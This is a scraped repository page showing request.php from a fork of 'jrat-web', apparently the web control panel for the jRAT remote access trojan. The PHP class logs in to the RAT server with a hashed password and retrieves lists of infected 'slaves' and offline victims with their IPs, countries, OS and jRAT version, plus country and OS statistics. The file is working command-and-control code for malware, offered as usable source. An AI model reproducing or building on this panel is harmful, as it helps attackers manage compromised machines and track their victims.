forked from dzxs/jrat-web
/
request.php
156 lines (116 loc) · 3.34 KB
/
request.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
<?php
require_once "packets.php";
require_once "slave.php";
require_once "config.php";
class Request {
public $sock;
public function createSocket() {
require_once "config.php";
$this->sock = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
socket_connect($this->sock, ADDRESS, PORT);
$error = socket_strerror(socket_last_error($this->sock));
if (strpos(strtolower($error), "success") === false) {
$error = " Error: " . $error;
$this->sock = $error;
return $error;
}
$this->write(sha1(PASS));
return "";
}
public function getInfo() {
$this->write(PACKET_SERVER_INFO);
$raw = socket_read($this->sock, 1024 * 10, PHP_NORMAL_READ) or die ("Could not read from socket\n");
$infoStrings = explode(";", $raw);
$info = array(
"uptime" => $infoStrings[0],
"netusage" => $infoStrings[1],
"bandwidth" => $infoStrings[2]
);
return $info;
}
public function getSlaves() {
$this->write(PACKET_LIST);
$raw = socket_read($this->sock, 1024 * 10, PHP_NORMAL_READ) or die("Could not read from socket\n");
$slaveStrings = explode(";", $raw);
$slaves = array();
foreach ($slaveStrings as $string) {
if (strlen($string) <= 1) {
continue;
}
$s = new Slave();
$s->makearray($string);
array_push($slaves, $s);
}
return $slaves;
}
public function getOfflineClients() {
$this->write(PACKET_LISTOFFLINE);
$raw = socket_read($this->sock, 1024 * 10, PHP_NORMAL_READ) or die("Could not read from socket\n");
$rawStrings = explode(";", $raw);
$slaves = array();
foreach ($rawStrings as $string) {
$data = explode(":", $string);
if (strlen($string) <= 1) {
continue;
}
$s = new Slave();
$s->array = array(
"userstring" => $data[0],
"os" => $data[1],
"strid" => $data[2],
"version" => "jRAT " . $data[3],
"ip" => $data[4],
"country" => $data[5],
"id" => $data[6],
"selected" => "false",
"ping" => "",
);
array_push($slaves, $s);
}
return $slaves;
}
public function getCountryStats() {
$this->write(PACKET_LISTCOUNTRIES);
$raw = socket_read($this->sock, 1024 * 10, PHP_NORMAL_READ) or die("Could not read from socket\n");
$rawStrings = explode(";", $raw);
$countries = array();
foreach ($rawStrings as $string) {
if (strlen($string) <= 1) {
continue;
}
$split = explode(",", $string);
$countries[$split[0]] = $split[1];
}
return $countries;
}
public function getOperatingSystemStats() {
$this->write(PACKET_LISTOPERATINGSYSTEMS);
$raw = socket_read($this->sock, 1024 * 10, PHP_NORMAL_READ) or die("Could not read from socket\n");
$rawStrings = explode(";", $raw);
$os = array();
foreach ($rawStrings as $string) {
if (strlen($string) <= 1) {
continue;
}
$split = explode(",", $string);
$os[$split[0]] = $split[1];
}
return $os;
}
public function disconnect() {
$this->write(PACKET_DISCONNECT);
socket_close($this->sock);
}
public function write($s) {
socket_write($this->sock, $s . "\n", strlen($s) + 1) or die("Could not write to socket\n");
}
public function isError() {
return is_string($this->sock) && strpos($this->sock, "Error") == 1;
}
public function redirectError() {
if ($this->isError()) {
header("Location: index.php");
exit();
}
}
}